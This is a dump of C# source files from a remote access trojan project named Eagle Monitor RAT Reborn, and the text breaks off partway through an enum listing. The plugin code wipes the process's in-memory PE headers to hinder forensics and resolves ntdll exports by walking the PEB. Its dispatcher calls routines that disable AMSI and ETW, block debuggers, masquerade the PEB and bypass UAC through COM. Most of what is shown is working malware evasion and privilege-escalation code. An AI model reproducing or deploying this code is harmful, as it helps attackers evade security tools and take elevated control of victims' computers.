    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| This technique randomizes some PE fields. Some of those fields cannot be random otherwise the process will crash. ||\n*/\n\nnamespace Offline.Special\n{\n    internal static class PEFromPEB\n    {\n        /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate NtStatus NtProtectVirtualMemory\n        (\n            IntPtr ProcessHandle,\n            ref IntPtr BaseAddress,\n            ref uint NumberOfBytesToProtect,\n            PageAccessType NewAccessProtection,\n            ref PageAccessType OldAccessProtection\n        );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate NtStatus NtWriteVirtualMemory\n        (\n            IntPtr ProcessHandle,\n            IntPtr BaseAddress,\n            byte[] Buffer,\n            uint NumberOfBytesToWrite,\n            out uint NumberOfBytesWritten\n        );\n\n        static NtProtectVirtualMemory ntProtectVirtualMemory;\n        static NtWriteVirtualMemory ntWriteVirtualMemory;\n\n        static void PrepareDelegate()\n        {\n            IntPtr ntVirtualProtect = Resolver.GetExportAddress(\"ntdll.dll\", \"NtProtectVirtualMemory\");\n            ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory));\n\n            IntPtr ntWriteVirtual = Resolver.GetExportAddress(\"ntdll.dll\", \"NtWriteVirtualMemory\");\n            ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory));\n\n        }*/\n\n        private static byte[] GetByteArray(int sizeInKb)\n        {\n            Random rnd = new Random();\n            byte[] b = new byte[sizeInKb * 1024]; // convert kb to byte\n            rnd.NextBytes(b);\n            return b;\n        }\n\n        internal unsafe static bool BlockIt()\n        {\n            //PrepareDelegate();\n            NtStatus n;\n            if (IntPtr.Size == 4)\n            {\n                PEB32 peb32 = (PEB32)Marshal.PtrToStructure(GetPebAddressDynamicWithoutAllocate(), typeof(PEB32));\n                ImageDosHeader dos32 = ReadStructAt<ImageDosHeader>(peb32.ImageBaseAddress);\n\n                IntPtr address = peb32.ImageBaseAddress + 2;\n                uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6);\n                PageAccessType oldOne = new PageAccessType();\n\n                n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);\n\n                if (n != NtStatus.Success)\n                    return false;\n\n                //Patching DOS (keeping the magic field with MZ)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);\n                //Patching File Header (keeping signature field (PE) + machine)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);\n                //Patching Optional Header (keeping all ImageDataDirectory)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _);\n                //Setting old protection\n                n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);\n\n            }\n            else \n            {\n                PEB64 peb64 = (PEB64)Marshal.PtrToStructure(GetPebAddressDynamicWithoutAllocate(), typeof(PEB64));\n                ImageDosHeader dos64 = ReadStructAt<ImageDosHeader>(peb64.ImageBaseAddress);\n\n                IntPtr address = peb64.ImageBaseAddress + 2;\n                uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6);\n                PageAccessType oldOne = new PageAccessType();\n\n                n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);\n\n                if (n != NtStatus.Success)\n                    return false;\n\n                //Patching DOS (keeping the magic field with MZ)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);\n                //Patching File Header (keeping signature field (PE) + machine)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);\n                //Patching Optional Header (keeping all ImageDataDirectory)\n                n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _);\n                //Setting old protection\n                n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);\n            }\n            if (n == NtStatus.Success)\n                return true;\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Parser.cs",
    "content": "﻿using System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    public static class Parser\n    {\n        public enum HRESULT : long\n        {\n            S_FALSE = 0x0001,\n            S_OK = 0x0000,\n            E_INVALIDARG = 0x80070057,\n            E_OUTOFMEMORY = 0x8007000E\n        }\n\n        public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false, bool bypassUAC = false) \n        {\n            DelegatesHandling.PrepareDelegate();\n            if (bypassUAC) \n            {\n                PEB.MasqueradePEB();\n                COM.Start(Application.ExecutablePath);\n            }\n\n            if (antiDBG && AntiDBG.isThreadLaunched == false)\n                AntiDBG.BlockIt();\n\n            if (amsiBlock)\n                AMSI.BlockIt();\n\n            if (etwBlock)\n                ETW.BlockIt();\n\n            if (erasePEFromPEB)\n                PEFromPEB.BlockIt();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Resolver.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal static class Resolver\n    {\n        internal unsafe static IntPtr GetModuleBaseAddress(string name, IntPtr processH)\n        {\n            int nHandleInfoSize = (int)sizeof(ProcessBasicInformation);\n            IntPtr ipHandlePointer = Marshal.AllocHGlobal((int)nHandleInfoSize);\n            uint nLength = 0;\n\n            NtStatus n = NtQueryInformationProcess(processH, ProcessInfoClass.ProcessBasicInformation, ipHandlePointer, (uint)nHandleInfoSize, out nLength);\n\n            if (n != NtStatus.Success)\n                return IntPtr.Zero;\n\n            ProcessBasicInformation processBasicInformation = new ProcessBasicInformation();\n            processBasicInformation = (ProcessBasicInformation)Marshal.PtrToStructure(ipHandlePointer, processBasicInformation.GetType());\n\n            if (IntPtr.Size == 4)\n            {\n                PEB32 peb32 = new PEB32();\n                peb32 = (PEB32)Marshal.PtrToStructure(processBasicInformation.PebBaseAddress, peb32.GetType());\n\n                PebLdrData pebLdrData = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData));\n\n                //dte->DllBase != null\n                for (LdrDataTableEntry* dte = (LdrDataTableEntry*)pebLdrData.InLoadOrderModuleList.Flink; dte->DllBase != IntPtr.Zero; dte = (LdrDataTableEntry*)dte->InLoadOrderLinks.Flink)\n                {\n                    if (dte->BaseDllName.ToString().ToLower() == name)\n                    {\n                        return dte->DllBase;\n                    }\n                }\n            }\n            else\n            {\n                PEB64 peb64 = new PEB64();\n                peb64 = (PEB64)Marshal.PtrToStructure(processBasicInformation.PebBaseAddress, peb64.GetType());\n\n                PebLdrData pebLdrData = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData));\n\n                //dte->DllBase != null\n                for (LdrDataTableEntry* dte = (LdrDataTableEntry*)pebLdrData.InLoadOrderModuleList.Flink; dte->DllBase != IntPtr.Zero; dte = (LdrDataTableEntry*)dte->InLoadOrderLinks.Flink)\n                {\n                    if (dte->BaseDllName.ToString().ToLower() == name)\n                    {\n                        return dte->DllBase;\n                    }\n                }\n            }\n            return IntPtr.Zero;\n        }\n\n        internal static IntPtr GetExportAddress(string moduleName, string functionName)\n        {\n            Dictionary<int, ExportedFunction> listOfFunctions = new Dictionary<int, ExportedFunction>();\n\n            IntPtr moduleBaseAddr = GetModuleBaseAddress(moduleName, (IntPtr)(-1));\n\n            ImageDosHeader dosHeader = (ImageDosHeader)Marshal.PtrToStructure(moduleBaseAddr, typeof(ImageDosHeader));\n            if (IntPtr.Size == 4)\n            {\n\n                ImageOptionalHeader32 peHeader = (ImageOptionalHeader32)Marshal.PtrToStructure(moduleBaseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(ImageFileHeader)), typeof(ImageOptionalHeader32));\n                ImageExportDirectory exportHeader = (ImageExportDirectory)Marshal.PtrToStructure(moduleBaseAddr + (int)peHeader.ExportTable.VirtualAddress, typeof(ImageExportDirectory));\n\n                IntPtr pNames = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNames);\n                IntPtr pNameOrdinals = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNameOrdinals);\n                IntPtr pFunctions = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfFunctions);\n\n                for (int i = 0; i <= exportHeader.NumberOfFunctions - 1; i++)\n                {\n                    int rva = Marshal.ReadInt32(pFunctions, i * 4);\n                    if (rva != 0)\n                    {\n                        listOfFunctions.Add(exportHeader.OrdinalBase + i, new ExportedFunction()\n                        {\n                            Ordinal = exportHeader.OrdinalBase + i,\n                            RelativeAddress = rva,\n                            FullAddress = (IntPtr)((int)moduleBaseAddr + rva)\n                        });\n                    }\n                }\n\n                for (int i = 0; i <= exportHeader.NumberOfNames - 1; i++)\n                {\n                    int ordinal = exportHeader.OrdinalBase + Marshal.ReadInt16(pNameOrdinals, i * 2);\n                    ExportedFunction entry = listOfFunctions[ordinal];\n                    IntPtr nameAddress = IntPtr.Add(moduleBaseAddr, Marshal.ReadInt32(pNames, i * 4));\n                    entry.Name = Marshal.PtrToStringAnsi(nameAddress);\n                    if (entry.Name == functionName)\n                        return entry.FullAddress;\n                }\n            }\n            else\n            {\n\n                ImageOptionalHeader64 peHeader = (ImageOptionalHeader64)Marshal.PtrToStructure(moduleBaseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(ImageFileHeader)), typeof(ImageOptionalHeader64));\n                ImageExportDirectory exportHeader = (ImageExportDirectory)Marshal.PtrToStructure(moduleBaseAddr + (int)peHeader.ExportTable.VirtualAddress, typeof(ImageExportDirectory));\n\n                IntPtr pNames = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNames);\n                IntPtr pNameOrdinals = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNameOrdinals);\n                IntPtr pFunctions = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfFunctions);\n\n                for (int i = 0; i <= exportHeader.NumberOfFunctions - 1; i++)\n                {\n                    int rva = Marshal.ReadInt32(pFunctions, i * 4);\n                    if (rva != 0)\n                    {\n                        listOfFunctions.Add(exportHeader.OrdinalBase + i, new ExportedFunction()\n                        {\n                            Ordinal = exportHeader.OrdinalBase + i,\n                            RelativeAddress = rva,\n                            FullAddress = (IntPtr)((long)moduleBaseAddr + rva)\n                        });\n                    }\n                }\n\n                for (int i = 0; i <= exportHeader.NumberOfNames - 1; i++)\n                {\n                    int ordinal = exportHeader.OrdinalBase + Marshal.ReadInt16(pNameOrdinals, i * 2);\n                    ExportedFunction entry = listOfFunctions[ordinal];\n                    IntPtr nameAddress = IntPtr.Add(moduleBaseAddr, Marshal.ReadInt32(pNames, i * 4));\n                    entry.Name = Marshal.PtrToStringAnsi(nameAddress);\n                    if (entry.Name == functionName)\n                        return entry.FullAddress;\n                }\n            }\n            return IntPtr.Zero;\n        }\n\n        public class ExportedFunction\n        {\n            public int Ordinal { get; set; }\n            public string Name { get; set; }\n            public int RelativeAddress { get; set; }\n            public IntPtr FullAddress { get; set; }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache",
    "content": "09234ae37459eb6d98685301512b000708156f2b\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\Offline.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\Offline.pdb\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.pdb\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\Offline.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\Offline.pdb\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Offline\\obj\\Release\\Offline.pdb\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\Offline.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\Offline.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\Offline.dll\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\Offline.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Interop.IWshRuntimeLibrary.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.ResolveComReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\Offline.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\bin\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Interop.IWshRuntimeLibrary.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.ResolveComReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\bin\\Release\\Stubs\\Offline.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Stubs\\Offline.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Stubs\\Offline.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Interop.IWshRuntimeLibrary.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.ResolveComReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Offline\\obj\\Release\\Offline.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n        #region \"ntdll\"\n        private const string ntdll = \"ntdll.dll\";\n\n\t\t[Flags]\n\t\tinternal enum NTSTATUS : uint\n\t\t{\n\t\t\tSTATUS_SUCCESS,\n\t\t\tSTATUS_INFO_LENGTH_MISMATCH =       0xC0000004,\n\t\t\tSTATUS_UNKNOWN =                    0xFFFFFFFF\n\t\t}\n\n        internal enum RTL_PRIVILEGES : uint\n\t\t{\n\t\t\tSeCreateTokenPrivilege =            1,\n\t\t\tSeAssignPrimaryTokenPrivilege =     2,\n\t\t\tSeLockMemoryPrivilege =             3,\n\t\t\tSeIncreaseQuotaPrivilege =          4,\n\t\t\tSeUnsolicitedInputPrivilege =       5,\n\t\t\tSeMachineAccountPrivilege =         6,\n\t\t\tSeTcbPrivilege =                    7,\n\t\t\tSeSecurityPrivilege =               8,\n\t\t\tSeTakeOwnershipPrivilege =          9,\n\t\t\tSeLoadDriverPrivilege =             10,\n\t\t\tSeSystemProfilePrivilege =          11,\n\t\t\tSeSystemtimePrivilege =             12,\n\t\t\tSeProfileSingleProcessPrivilege =   13,\n\t\t\tSeIncreaseBasePriorityPrivilege =   14,\n\t\t\tSeCreatePagefilePrivilege =         15,\n\t\t\tSeCreatePermanentPrivilege =        16,\n\t\t\tSeBackupPrivilege =                 17,\n\t\t\tSeRestorePrivilege =                18,\n\t\t\tSeShutdownPrivilege =               19,\n\t\t\tSeDebugPrivilege =                  20,\n\t\t\tSeAuditPrivilege =                  21,\n\t\t\tSeSystemEnvironmentPrivilege =      22,\n\t\t\tSeChangeNotifyPrivilege =           23,\n\t\t\tSeRemoteShutdownPrivilege =         24,\n\t\t\tSeUndockPrivilege =                 25,\n\t\t\tSeSyncAgentPrivilege =              26,\n\t\t\tSeEnableDelegationPrivilege =       27,\n\t\t\tSeManageVolumePrivilege =           28,\n\t\t\tSeImpersonatePrivilege =            29,\n\t\t\tSeCreateGlobalPrivilege =           30,\n\t\t\tSeTrustedCredManAccessPrivilege =   31,\n\t\t\tSeRelabelPrivilege =                32,\n\t\t\tSeIncreaseWorkingSetPrivilege =     33,\n\t\t\tSeTimeZonePrivilege =               34,\n\t\t\tSeCreateSymbolicLinkPrivilege =     35\n\t\t}\n\n        internal enum HARDERROR_RESPONSE_OPTION : uint \n        {\n            OptionAbortRetryIgnore =            0,\n            OptionOk =                          1,\n            OptionOkCancel =                    2,\n            OptionRetryCancel =                 3,\n            OptionYesNo =                       4,\n            OptionYesNoCancel =                 5,\n            OptionShutdownSystem =              6\n        }\n\n        internal enum HARDERROR_RESPONSE : uint \n        {\n            ResponseReturnToCaller =            0,\n            ResponseNotHandled =                1,\n            